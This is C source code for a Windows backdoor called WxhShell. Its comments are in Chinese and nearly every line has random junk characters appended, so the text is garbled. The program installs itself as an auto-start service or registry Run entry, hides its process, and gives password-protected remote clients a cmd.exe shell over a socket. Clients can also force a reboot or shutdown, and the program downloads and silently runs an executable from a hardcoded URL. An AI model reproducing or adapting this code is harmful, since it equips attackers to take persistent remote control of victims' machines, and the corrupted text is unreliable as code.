  case 'd': { > z^#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HdLH2+|P;D  
    if(Boot(SHUTDOWN)) <2nZ&M4/s{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 6>ZW4Z  
    else { -<_Ww\%8M  
    closesocket(wsh); ?SC[G-b  
    ExitThread(0); Hp(D);0+)  
    } o^V(U~m]  
    break; E(i[o?  
    } EFc-foN  
  // 获取shell g9Yz*Nee<  
  case 's': { f +hjC  
    CmdShell(wsh); JXj8Br?Z@  
    closesocket(wsh); <u=4*:QE  
    ExitThread(0); |> _!eS\=<  
    break; >pr=|$zk=  
  } 36n>jS&  
  // 退出 X~xd/M=9^  
  case 'x': { Jx=hJ-FY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2mq$H_  
    CloseIt(wsh); AZ{^o4<q  
    break; 8Mbeg ,P  
    } ~I(Hc.Q  
  // 离开 x+G0J8cW  
  case 'q': { 9RWkm%?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~QZ"Z tu  
    closesocket(wsh); 10#f`OPC  
    WSACleanup(); (4%YHS8  
    exit(1); Ve/xnn]'  
    break;  PTS]7  
        } d O~O |Xsb  
  } P(a.iu5   
  } w\19[U3  
wlPx,UqZ  
  // 提示信息 @p|$/Z%R,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F]I=+T   
} $.:mai  
  } $ F S_E  
)=DGdI Et  
  return; Z,X'-7YkU  
} -`Y :~q1  
w%zRHf8C  
// shell模块句柄 O MX-_\")  
int CmdShell(SOCKET sock) nL?oTze*p  
{ .{S8f#p9T  
STARTUPINFO si; efY8M2  
ZeroMemory(&si,sizeof(si)); 1+7GUSIb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,2]X}&{i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [qoXMuC|P  
PROCESS_INFORMATION ProcessInfo; dgo3'ZO  
char cmdline[]="cmd"; 2:LHy[{5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O0PJ6:9P  
  return 0; Gc$gJnQio  
} WX4;l(P L=  
y4Er @8I`  
// 自身启动模式 S:61vD  
int StartFromService(void) |0z;K:5s  
{ "Y=+Ls(3o(  
typedef struct >5 b/or  
{ 5IKL#V `3a  
  DWORD ExitStatus; e2-Dq]p  
  DWORD PebBaseAddress; x^*1gv $o  
  DWORD AffinityMask; }Up.){.%  
  DWORD BasePriority; DKm Z  
  ULONG UniqueProcessId; mw^7oO#  
  ULONG InheritedFromUniqueProcessId; qSx(X!YS  
}   PROCESS_BASIC_INFORMATION; dC1V-x10ju  
Xq4|uuS-O  
PROCNTQSIP NtQueryInformationProcess; T%Pp*1/m7  
{5|("0[F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |([R'Orm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /1`cRyS  
}!TL2er_  
  HANDLE             hProcess; Bg8#qv  
  PROCESS_BASIC_INFORMATION pbi; z 5]bia,  
*{o UWt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =?X$Yaw*  
  if(NULL == hInst ) return 0; ` rm?a0  
90xk$3(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BN,>&1I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]h9!ei [  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C}5M;|%3)  
$c&0F,   
  if (!NtQueryInformationProcess) return 0; ueG|*[  
ir3VTqz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `)4a[thp  
  if(!hProcess) return 0; n,O5".aa<  
6> {r6ixs1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \.gEh1HW  
3I 0eW%,  
  CloseHandle(hProcess); 4@;-%H&7  
&2I*0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _KD5T4FZR  
if(hProcess==NULL) return 0; 4l8BQz}sb  
+1 eCvt:,  
HMODULE hMod; +2C?9:bH  
char procName[255]; JmpsQ,,  
unsigned long cbNeeded; Pgp {$ID  
#2xSyOrmf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Rb}KZ+o "Z  
<a le$[  
  CloseHandle(hProcess); gBk5wk_j|  
sn{AwF%  
if(strstr(procName,"services")) return 1; // 以服务启动  Zt E##p  
O''y>N9  
  return 0; // 注册表启动 9TxyZL   
} as"N=\N  
eX l=i-'  
// 主模块 La[K!u\B  
int StartWxhshell(LPSTR lpCmdLine) N6Z{BLZ  
{ ]|:uU  
  SOCKET wsl; vs&8wbS)  
BOOL val=TRUE; Dmdy=&G  
  int port=0; 8n?kZY$,  
  struct sockaddr_in door; 9j|gdfb%ml  
%zo= K}u  
  if(wscfg.ws_autoins) Install(); 1MA@JA:T  
G.U 5)4_^  
port=atoi(lpCmdLine); 4-v6=gz.  
5 ZfP  
if(port<=0) port=wscfg.ws_port; 7k=fZ$+O  
m W`oq  
  WSADATA data; g2p"LWex-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z"F*\xa  
=fyyqb 4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eR!G[Cw-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @=uN\) 1  
  door.sin_family = AF_INET; $1*3!}_0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gH:ArfC  
  door.sin_port = htons(port); DHfB@/q#  
7uI#L}y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x|~zHFm6  
closesocket(wsl); $GF]/;\m  
return 1; RHNk%9  
} #%S0PL"x U  
$;D* n'8Fx  
  if(listen(wsl,2) == INVALID_SOCKET) { ;8B.;%qkL  
closesocket(wsl); '5H4z7)  
return 1; K3p@$3hQ  
} +3^NaY`Y  
  Wxhshell(wsl); M2T|"Q"=  
  WSACleanup(); 5^)_B;.f  
2'{}<9  
return 0; </E>tMW  
b7h+?!H]R  
} P -Fg^tl  
&:#m&,tQ  
// 以NT服务方式启动 .]76!(fWZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =ak7ld A=2  
{ 9XV^z*E(J  
DWORD   status = 0; IjZ@U%g@;  
  DWORD   specificError = 0xfffffff; !Ua&0s%  
CB*/ =Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hG Apuy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M$&>5n7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &2.+I go|G  
  serviceStatus.dwWin32ExitCode     = 0; xFsmf<Vm  
  serviceStatus.dwServiceSpecificExitCode = 0; %cW;}Y[?P  
  serviceStatus.dwCheckPoint       = 0; J4yt N3  
  serviceStatus.dwWaitHint       = 0; 3q &k  
%<}=xJf>1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m)f|:MM  
  if (hServiceStatusHandle==0) return; ?y-s20Kd  
A 0#Y, 1  
status = GetLastError(); yr4ou  
  if (status!=NO_ERROR) mtw9AoO  
{ g"y?nF.&F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BXTN>d27  
    serviceStatus.dwCheckPoint       = 0; +Z+ExS<#z  
    serviceStatus.dwWaitHint       = 0; Fh`-(,e?5  
    serviceStatus.dwWin32ExitCode     = status; W(@>?$&  
    serviceStatus.dwServiceSpecificExitCode = specificError; ')nnWlK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (K!4Kp^m  
    return; SFO&=P:U  
  } D<nxr~pQ  
1!/-)1t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |%ZpatZA5  
  serviceStatus.dwCheckPoint       = 0; fS./y=j(X  
  serviceStatus.dwWaitHint       = 0; H~m]nV,r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #AncOo  
} 6q%ed UED  
}aZr ou3E  
// 处理NT服务事件,比如:启动、停止 sb'p-Mj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _pSIJ3O  
{ "=A|K~b  
switch(fdwControl) B| Q6!  
{ rl|Q)A{  
case SERVICE_CONTROL_STOP: ~t9Mh^gij  
  serviceStatus.dwWin32ExitCode = 0; KO-a; [/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MFTC6L+T  
  serviceStatus.dwCheckPoint   = 0; qeMv Vf  
  serviceStatus.dwWaitHint     = 0; od,tfLw4  
  { p\+6"28{_~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~V$ f #X  
  } @"8~Y|L93  
  return; 8_iHVc;<  
case SERVICE_CONTROL_PAUSE: t F/nah  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .&(8(C  
  break; W uf/LKj  
case SERVICE_CONTROL_CONTINUE: 2v\W1VF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9Dq.lr^  
  break; <|V'pim  
case SERVICE_CONTROL_INTERROGATE: 0 pNo`Bm  
  break; #HDesen  
}; tw86:kYEz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S.]MOB dt  
} )G4rJ~#@  
%Qd3BZ  
// 标准应用程序主函数 ZeTL$E[E}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FF@`+T  
{ (j=DD6fC  
cUC17z2D  
// 获取操作系统版本 O#PwRud$  
OsIsNt=GetOsVer(); xPvRQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x@ 6\Ob  
Jy`G]]?  
  // 从命令行安装 DvJB59:_}  
  if(strpbrk(lpCmdLine,"iI")) Install(); eE,;K1  
J=P;W2L  
  // 下载执行文件 ?'f^X$aS  
if(wscfg.ws_downexe) { 1 mHk =J~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pVz pN8!  
  WinExec(wscfg.ws_filenam,SW_HIDE); tnL."^%A2I  
} 1g81S_T .  
6puVw-X  
if(!OsIsNt) { z'e1"Y.  
// 如果时win9x,隐藏进程并且设置为注册表启动 O3&|}:<  
HideProc(); <O bHf`Q  
StartWxhshell(lpCmdLine); M1gP R  
} 9C>ynH  
else qSR? ,G  
  if(StartFromService()) V7n >,k5  
  // 以服务方式启动 ^#7viZ*  
  StartServiceCtrlDispatcher(DispatchTable); fOJj(0=y  
else x cnt?%%M  
  // 普通方式启动 [>wzl"cHW  
  StartWxhshell(lpCmdLine); Pzptr%{  
EaCZx  
return 0; cb4b, Ri  
} @92gb$xT  
taixBNv  
X,&xhSzg?  
y\@SC\jk|  
=========================================== < %/:w/  
tPzM7 n|  
bCt_y R  
6yp+h  
W'd/dKU x  
#B\B(y  
" -P*xyI  
-D;lS 6  
#include <stdio.h> %p}qO^%M  
#include <string.h> ha5 bD%  
#include <windows.h> /Q]:Uf.J  
#include <winsock2.h> Ef-a4Pi  
#include <winsvc.h> BQuRHi IV  
#include <urlmon.h> f{f_g8f[  
!HvGlj@(|  
#pragma comment (lib, "Ws2_32.lib") CR.bMF}  
#pragma comment (lib, "urlmon.lib") `M,Nd'5&|  
xV?*!m$V%R  
#define MAX_USER   100 // 最大客户端连接数 z6Fun  
#define BUF_SOCK   200 // sock buffer yX3PUO9  
#define KEY_BUFF   255 // 输入 buffer phe"JNML  
IF& PGo  
#define REBOOT     0   // 重启 Ys)+9yPPn  
#define SHUTDOWN   1   // 关机 Sr-|,\/O  
( -xR7A  
#define DEF_PORT   5000 // 监听端口 17|@f  
bD  d_}  
#define REG_LEN     16   // 注册表键长度 Plb}dID"  
#define SVC_LEN     80   // NT服务名长度 DqRLx85d1  
/!:L7@BZ  
// 从dll定义API H kSL5@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kRQ~hRT6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xa' nJ"f;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9y;y7i{>?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S\}?zlV  
#i@ACAgn;6  
// wxhshell配置信息 otoBb^Mz  
struct WSCFG { M9h<}mh\  
  int ws_port;         // 监听端口 HUK" OH  
  char ws_passstr[REG_LEN]; // 口令 (K<Z=a  
  int ws_autoins;       // 安装标记, 1=yes 0=no {WIY8B'c  
  char ws_regname[REG_LEN]; // 注册表键名 <( cM*kV  
  char ws_svcname[REG_LEN]; // 服务名 3.B4(9:>,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]v<d0" 2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aX:#'eDB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5DmCxg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #"|"cYi,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iJEB ?y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N\c &PS  
T4Xtuu1  
}; 4,gol?a  
=rtS#u Y  
// default Wxhshell configuration ,0BR-#  
struct WSCFG wscfg={DEF_PORT,  4c  
    "xuhuanlingzhe", #_on{I  
    1, |X,$?ZDap  
    "Wxhshell", 4t,zHR6W  
    "Wxhshell", Wk7L:uK  
            "WxhShell Service", };i&a%I|  
    "Wrsky Windows CmdShell Service", c6f|y_ 2  
    "Please Input Your Password: ", @< wYT$  
  1, |)m*EME  
  "http://www.wrsky.com/wxhshell.exe", #,7eQaica  
  "Wxhshell.exe" nMTLD  
    }; \FIa,5k8  
Gv!BB=ir(  
// 消息定义模块 0Z@ARMCe|m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E"G:K`Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y]hV-_2+Do  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F\o;t:  
char *msg_ws_ext="\n\rExit."; "xL;(Fqu  
char *msg_ws_end="\n\rQuit."; f37ji  
char *msg_ws_boot="\n\rReboot..."; 20$F$YYuk  
char *msg_ws_poff="\n\rShutdown..."; q-A`/9  
char *msg_ws_down="\n\rSave to "; fEx+gQW_  
<jpeu^7  
char *msg_ws_err="\n\rErr!"; Rrh<mo(yj#  
char *msg_ws_ok="\n\rOK!"; m(8jSGV  
oNiToFbQu  
char ExeFile[MAX_PATH]; := ]sq}IN  
int nUser = 0; JmnBq<&,0  
HANDLE handles[MAX_USER]; s"pR+)jf1D  
int OsIsNt; |\i:LG1  
V"w`!  
SERVICE_STATUS       serviceStatus; -iY9GN89c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w> Tyk#7lw  
R;0W+!fE  
// 函数声明 c-[Q,c  
int Install(void); sKe9at^E]>  
int Uninstall(void); `Ev A\f  
int DownloadFile(char *sURL, SOCKET wsh); Uuwq7oFub  
int Boot(int flag); +vSCR (n  
void HideProc(void); 6{b%Jfo  
int GetOsVer(void); Wv6z%r<  
int Wxhshell(SOCKET wsl); ,k4z;  
void TalkWithClient(void *cs); >2]Eaw&W  
int CmdShell(SOCKET sock); * i=?0M4S  
int StartFromService(void); w{_e"N  
int StartWxhshell(LPSTR lpCmdLine); +A]&AkTw  
Y&oP>n! ei  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ):/<H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y_}K?  
~C}(\8g  
// 数据结构和表定义 ?2J S&i  
SERVICE_TABLE_ENTRY DispatchTable[] = z*Myokhf  
{ 9\AEyaJFZ  
{wscfg.ws_svcname, NTServiceMain},  1m&!l6Jk  
{NULL, NULL} fo/ D3  
}; Sf+(1_^`t  
zF[3%qZE:T  
// 自我安装 4]Un=?)I  
int Install(void) R=][>\7]}  
{ Qh)|FQ[s$r  
  char svExeFile[MAX_PATH]; g`%ED0aR  
  HKEY key; W HlD %u  
  strcpy(svExeFile,ExeFile); |#DC.Ga!  
7bgnZ]r8t  
// 如果是win9x系统,修改注册表设为自启动 .Ws iOJU  
if(!OsIsNt) { &Iv\jhq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n;-x!Gs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); btUUZ"q<  
  RegCloseKey(key); ""25ay  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E[SV*1)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4@/q_*3o  
  RegCloseKey(key); H B::0l<  
  return 0; XA&tTpfJE  
    } *b$z6.  
  } sf.E|]isW  
} o1fyNzq<  
else { M3ecIVm8(  
ir?Uw:/f  
// 如果是NT以上系统,安装为系统服务 }vXA`)Ns  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1Y H4a|bc  
if (schSCManager!=0) N:UDbLjw~  
{ ROJ'-Vde9  
  SC_HANDLE schService = CreateService y9V;IXhDc  
  ( "ay,Lr  
  schSCManager, /7UovKKbz  
  wscfg.ws_svcname, "<cB73tY  
  wscfg.ws_svcdisp, ~)! V8  
  SERVICE_ALL_ACCESS, $Nt=gSWw5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 902!M65[rG  
  SERVICE_AUTO_START, +Op%,,Db  
  SERVICE_ERROR_NORMAL, >)AE |j`  
  svExeFile, /tId#/Y  
  NULL, NPB,q& Th  
  NULL, 8I5VrT  
  NULL, |1_$! p  
  NULL, wu&|~@_s@  
  NULL 'T&=$9g7  
  ); ? e9XVQ*  
  if (schService!=0) P+*rWJ8gQ  
  { gTmUK{y'  
  CloseServiceHandle(schService); c~^]jqid]  
  CloseServiceHandle(schSCManager); aIzp\$NWVK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Xa?6#  
  strcat(svExeFile,wscfg.ws_svcname); )+jK0E1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g9FVb7In_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ov~S2?E8  
  RegCloseKey(key); 5CH-:|(;=  
  return 0; 2;Y@3d:z  
    } [B2>*UPl  
  } Hnd9T(UB  
  CloseServiceHandle(schSCManager); (!XYH@Mz<w  
} JR? )SGB  
} i(&6ys5  
^|F Vc48{  
return 1; s60:0>  
} NE=#5?6%g7  
_Cv[`e.  
// 自我卸载 6*(h9!_T1  
int Uninstall(void) vUo.BA#;.b  
{ v2Qc}o  
  HKEY key; t9f4P^V`  
,<^tsCI  
if(!OsIsNt) { UgnsV*e&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "a0u-}/D  
  RegDeleteValue(key,wscfg.ws_regname); Dj,+t+|  
  RegCloseKey(key); &G7)s%q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w{:Oa7_A  
  RegDeleteValue(key,wscfg.ws_regname); XoH[MJC  
  RegCloseKey(key); *Lb(urf  
  return 0; <QkN}+B=  
  } V~]'+A q>  
} n&3iv ^  
} T ,O<LFv  
else { !F7EAQn{(  
9GtVI^]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RIVL 0Ig  
if (schSCManager!=0) DiYJlD&  
{ t_zY0{|P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ! 6p)t[s  
  if (schService!=0) v8'`gY  
  { y3@x*_K8  
  if(DeleteService(schService)!=0) { (Qh7bfd  
  CloseServiceHandle(schService); mP5d!+[8  
  CloseServiceHandle(schSCManager); Ch \ed|u  
  return 0; {'c%#\  
  } WDH[kJ  
  CloseServiceHandle(schService); #8Id:56  
  } z!1/_]WJ,  
  CloseServiceHandle(schSCManager); E-tNB{r@  
} +Qi52OG  
} @8Q+=abz  
D|Ihe%w-  
return 1; <R`,zE@t'(  
} P/gb+V=g!  
X>@.-{6T  
// 从指定url下载文件 iu6WGm R  
int DownloadFile(char *sURL, SOCKET wsh)  Z@.ol Y  
{ }ygbgyLa  
  HRESULT hr; #*>7X>,J  
char seps[]= "/"; @k:f}-t  
char *token; wzQdKlV  
char *file; 1 <qVN'[  
char myURL[MAX_PATH]; .X<"pd*@e  
char myFILE[MAX_PATH]; 1n"+~N^\  
.2{C29g  
strcpy(myURL,sURL); "13 :VTs[5  
  token=strtok(myURL,seps); s:jL/%+COZ  
  while(token!=NULL) ;FgEE%  
  { YnO1Lf@  
    file=token; wJeqa  
  token=strtok(NULL,seps); U+RCQTo  
  } !irX[,e  
/m{?o  
GetCurrentDirectory(MAX_PATH,myFILE); 8|jX ~f  
strcat(myFILE, "\\"); R0YC:rAt  
strcat(myFILE, file); #Zavdkw=d  
  send(wsh,myFILE,strlen(myFILE),0); /4-eoTxy  
send(wsh,"...",3,0); c@o/Cv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /P8eI3R  
  if(hr==S_OK) EhP&L?EL  
return 0; Bn#HJ17/#  
else ]N(zom_0d  
return 1; Dpp52UnT E  
T`'3Cp$q  
} d$?n6|4  
,f /IG.  
// 系统电源模块 ?j4,^K3  
int Boot(int flag) ++{+ #s6  
{ Kt* za  
  HANDLE hToken; / =Uv  
  TOKEN_PRIVILEGES tkp; o%~K4 M".  
kDpZnXP  
  if(OsIsNt) { ^%*{:0'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )r|zi Z{F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #:\+7mCF  
    tkp.PrivilegeCount = 1; J*lYH]s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MTITIecw=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LWb}) #E  
if(flag==REBOOT) { CQuvbAo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  RoM*Qjw  
  return 0; |z7Crz  
} TaHi+  
else { ,tR'0&=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +zdq+<9X  
  return 0; piiQ  
} 98%tws`  
  } (B/F6 X;o.  
  else { 8s5ru)  
if(flag==REBOOT) { bd 1J#V]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L pi _uK  
  return 0; ,cO)Sxj  
} $ p1EqVu  
else { rgZ rE;*;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W lLZtgq  
  return 0; lSbM)gL  
} ^nm!NL{z^  
} B oj{+rE0  
owY_cDzrH  
return 1; cSs/XJZ  
} 0!'M#'m  
7/OOq=z  
// win9x进程隐藏模块 3]]6z K^i  
void HideProc(void) Z-p^3t'{  
{ &$z1Hz+l  
a3 _0F@I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g$T_yT''  
  if ( hKernel != NULL ) 0_zSQn9c  
  { :ktX7p~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !/(}meZj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TtjSLkF  
    FreeLibrary(hKernel); eWk2YP!  
  } B)cb}.N:  
NizJq*V>  
return; 98}vbl31j  
} 6=lQT 9u{  
S+xGHi)  
// 获取操作系统版本 ? A#z~;X@  
int GetOsVer(void) :pjK\  
{ eD1MP<>h  
  OSVERSIONINFO winfo; KeOBbe  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U)%u`C0  
  GetVersionEx(&winfo); ! tPK"k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5'Ay@FJ:  
  return 1; l3|>*szX  
  else Sm_:SF!<D6  
  return 0; GQ)cUrXQz  
} k 5r*?Os  
b2f2WY |z>  
// 客户端句柄模块 VM|)\?Q  
int Wxhshell(SOCKET wsl) .MPOUo/e  
{ O xaua  
  SOCKET wsh; p[VCt" j  
  struct sockaddr_in client; EGr5xR-  
  DWORD myID; k+G4<qw  
vlyNQ7"%  
  while(nUser<MAX_USER) ~9;mZi1-  
{ *7V{yK$O|  
  int nSize=sizeof(client); {Om3fSk:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G8-d%O p  
  if(wsh==INVALID_SOCKET) return 1; %LlKi5u]  
E :g ArQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;RZa<2  
if(handles[nUser]==0) kRa$jD^?  
  closesocket(wsh); jtpNo~O  
else &'2l_b  
  nUser++; 'u%;6'y  
  } ,^66`C[G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ywtDz8!^u  
+Ws}a  
  return 0; EMH}VigR  
} yXl.Gq>]{  
s/^= WV  
// 关闭 socket DYk->)   
void CloseIt(SOCKET wsh) h4xdE 0  
{ 62'0)Cy^  
closesocket(wsh); J@{ Bv%  
nUser--; (8F?yBu  
ExitThread(0); a #**96Av  
} #^w 1!xXD  
+mPB?5  
// 客户端请求句柄 a2)*tbM 9\  
void TalkWithClient(void *cs) >'g60R[  
{ ATewdq[C  
V0B4<TTAo~  
  SOCKET wsh=(SOCKET)cs; T js{ )r9  
  char pwd[SVC_LEN]; bbA<Zp  
  char cmd[KEY_BUFF]; $}o,7xAn  
char chr[1]; yG_.|%e  
int i,j; ?& ^l8gE  
IN*Z__l8j`  
  while (nUser < MAX_USER) { &1n0(qB  
?Ir6*ZyY  
if(wscfg.ws_passstr) { \srOU|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <"9Z7" >  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P9~kN|  
  //ZeroMemory(pwd,KEY_BUFF); 3CL:VwoW  
      i=0; RS=7W._W  
  while(i<SVC_LEN) { Gwk@X/q  
lsxii-#O  
  // 设置超时 ../(gG9  
  fd_set FdRead; |'(IWU  
  struct timeval TimeOut; h 'CLf]  
  FD_ZERO(&FdRead); SK2pOZN  
  FD_SET(wsh,&FdRead); v3]M;Y\  
  TimeOut.tv_sec=8; N#qoKY(#  
  TimeOut.tv_usec=0; wOSNlbQ5jl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O3^@"IY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O$\N]#  
wIPDeC4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VJPPHJ[-  
  pwd=chr[0]; UcIR0BYa  
  if(chr[0]==0xd || chr[0]==0xa) { ku=q:ry O  
  pwd=0; zy5bDL -  
  break; C u5 - w  
  } 7k3\_BHyb\  
  i++; ";%1sK  
    } N* QI>kzU  
#`EMK   
  // 如果是非法用户,关闭 socket L>*|T[~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;!Mg,jlQ  
} v7RDoO]I  
TR;-xst@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ![Y$[l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ijT^gsLL  
?/g(Y  
while(1) { Z r*ytbt  
FL}8h/  
  ZeroMemory(cmd,KEY_BUFF); @bE?WXY  
H$HhB8z3  
      // 自动支持客户端 telnet标准   !ym5' h  
  j=0; Z!6G (zz:>  
  while(j<KEY_BUFF) { ~Y$1OA8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Il[WXt<S  
  cmd[j]=chr[0]; $NSYQF%aO  
  if(chr[0]==0xa || chr[0]==0xd) { O5"80z38[  
  cmd[j]=0; VzNH%  
  break; ;* Jd#O  
  } hy rJu{p  
  j++; pwQ."2x  
    } v?t+%|dzA  
MsiSC  
  // 下载文件 n%hnL$!z  
  if(strstr(cmd,"http://")) { fz\Az-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?z.`rD$}(n  
  if(DownloadFile(cmd,wsh)) 1,,:4 *)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 37DvI&  
  else {w(N9Va,(  
